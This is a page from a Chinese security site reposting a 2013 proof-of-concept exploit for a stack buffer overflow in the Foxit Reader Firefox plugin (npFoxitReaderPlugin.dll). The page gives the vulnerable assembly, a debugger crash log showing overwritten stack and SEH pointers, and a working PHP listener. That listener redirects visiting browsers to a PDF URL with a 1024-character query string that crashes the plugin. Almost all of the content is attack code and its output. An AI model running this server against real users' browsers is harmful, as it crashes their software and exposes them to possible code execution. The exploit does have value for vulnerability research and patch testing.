首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Foxit Reader <= 5.4.4.1128 Firefox Plugin npFoxitReaderPlugin.dll Stack Buffer O
来源:vfocus.net 作者:rgod 发布时间:2013-01-08  

<?php
/*
Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong
Query String Remote Stack Buffer Overflow PoC --------------------------- rgod

(listener)

Tested against Microsoft Windows
Mozilla Firefox 17.0.1
Foxit Reader 5.4.3.0920
Foxit Reader 5.4.4.1128

File: npFoxitReaderPlugin.dll
Version: 2.2.1.530

Product url: http://www.foxitsoftware.com/downloads/
Last version setup file: FoxitReader544.11281_enu_Setup.exe

Usage:
Launch from the command line, then browse port 6666 with Firefox.
You can test it also through this url:

http://192.168.0.1/x.pdf?[A x 1024]

File must be existing or the server should be responding with
the proper Content-Type header.

vulnerable code, npFoxitReaderPlugin.dll:

;------------------------------------------------------------------------------
 L1000162F:
    push ebx
    push esi
    push edi
    mov edi,ebp
    or ecx,FFFFFFFFh
    xor eax,eax
    xor ebx,ebx
    xor esi,esi
    repne scasb
    not ecx
    dec ecx
    test ecx,ecx
    jle L100016E4
 L1000164A:
    mov al,[esi+ebp]
    mov word ptr [esp+18h],0000h
    cmp al,25h
    jz  L10001661
    mov ecx,[esp+1Ch]
    mov [ebx+ecx],al
    jmp L100016CE
 L10001661:
    mov al,[esi+ebp+01h]
    cmp al,30h
    jl  L1000166D
    cmp al,39h
    jle L1000167D
 L1000166D:
    cmp al,41h
    jl  L10001675
    cmp al,46h
    jle L1000167D
 L10001675:
    cmp al,61h
    jl  L100016C6
    cmp al,66h
    jg  L100016C6
 L1000167D:
    mov dl,[esi+ebp+01h]
    inc esi
    inc esi
    lea ecx,[esp+10h]
    mov [esp+18h],dl
    push ecx
    mov al,[esi+ebp]
    lea edx,[esp+1Ch]
    push L100450D4
    push edx
    mov [esp+25h],al
    call SUB_L10006421
    mov eax,[esp+1Ch]
    lea ecx,[esp+24h]
    push eax
    push L100450D0
    push ecx
    call SUB_L100063CF
    mov eax,[esp+34h]
    mov dl,[esp+30h]
    add esp,00000018h
    mov [ebx+eax],dl
    jmp L100016CE
 L100016C6:
    mov ecx,[esp+1Ch]
    mov byte ptr [ebx+ecx],25h
 L100016CE:
    inc ebx
    mov edi,ebp
    or ecx,FFFFFFFFh
    xor eax,eax
    inc esi
    repne scasb
    not ecx
    dec ecx
    cmp esi,ecx
    jl  L1000164A
 L100016E4:
    mov edx,[esp+1Ch]
    pop edi
    pop esi
    mov eax,00000001h
    mov byte ptr [ebx+edx],00h
    pop ebx
    pop ebp
    pop ecx
    retn
;------------------------------------------------------------------------------

this copy loop ends up in overwriting stack pointers, then
(by attaching to plugin-container.exe):

(f48.1778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:
10016852 8906            mov     dword ptr [esi],eax  ds:0023:41414141=????????
...
Attempt to write to address 41414141
...

also SEH pointers are overwritten
*/

error_reporting(0);

set_time_limit(0);

$port = 6666;

$____redirect = "HTTP/1.1 301 Moved Permanently\r\n".
                "Server: Apache\r\n".
                "Location: /x.pdf?".str_repeat("A",1024)."\r\n".
                "Content-Type: text/html\r\n\r\n";

$____boom     = "HTTP/1.1 200 OK\r\n".
                "Server: Apache\r\n".
                "Accept-Ranges: bytes\r\n".
                "Content-Length: 60137\r\n".
                "Content-Type: application/pdf\r\n".
                "Connection: keep-alive\r\n\r\n";

$socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr);

if (!$socket) {
  echo "$errstr ($errno)\n";
} else {
  echo "Listening on public tcp port ".$port." \n"; 
  while ($conn = stream_socket_accept($socket)) {
    $line=fgets($conn);
    echo $line."\n";
    if (strpos($line,".pdf")){
      fwrite($conn,$____boom);
    }
    else {
      fwrite($conn,$____redirect);
    }
    fclose($conn);
  }
  fclose($socket);
}
?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FoxPlayer v2.9.0 Denial of Ser
·Ettercap <= 0.7.5.1 Stack Over
·Enterasys NetSight nssyslogd.e
·XML-RPC PingBack API Remote Do
·Ratbox IRCd Denial Of Service
·WordPress Google Document Embe
·WordPress Plugin Advanced Cust
·IBM Cognos tm1admsd.exe Overfl
·Allied Telesis AT-MCF2000M 3.0
·Astium VoIP PBX <= v2.1 build
·Inmatrix Ltd. Zoom Player 8.5
·Astium VoIP PBX 2.1 Remote Roo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved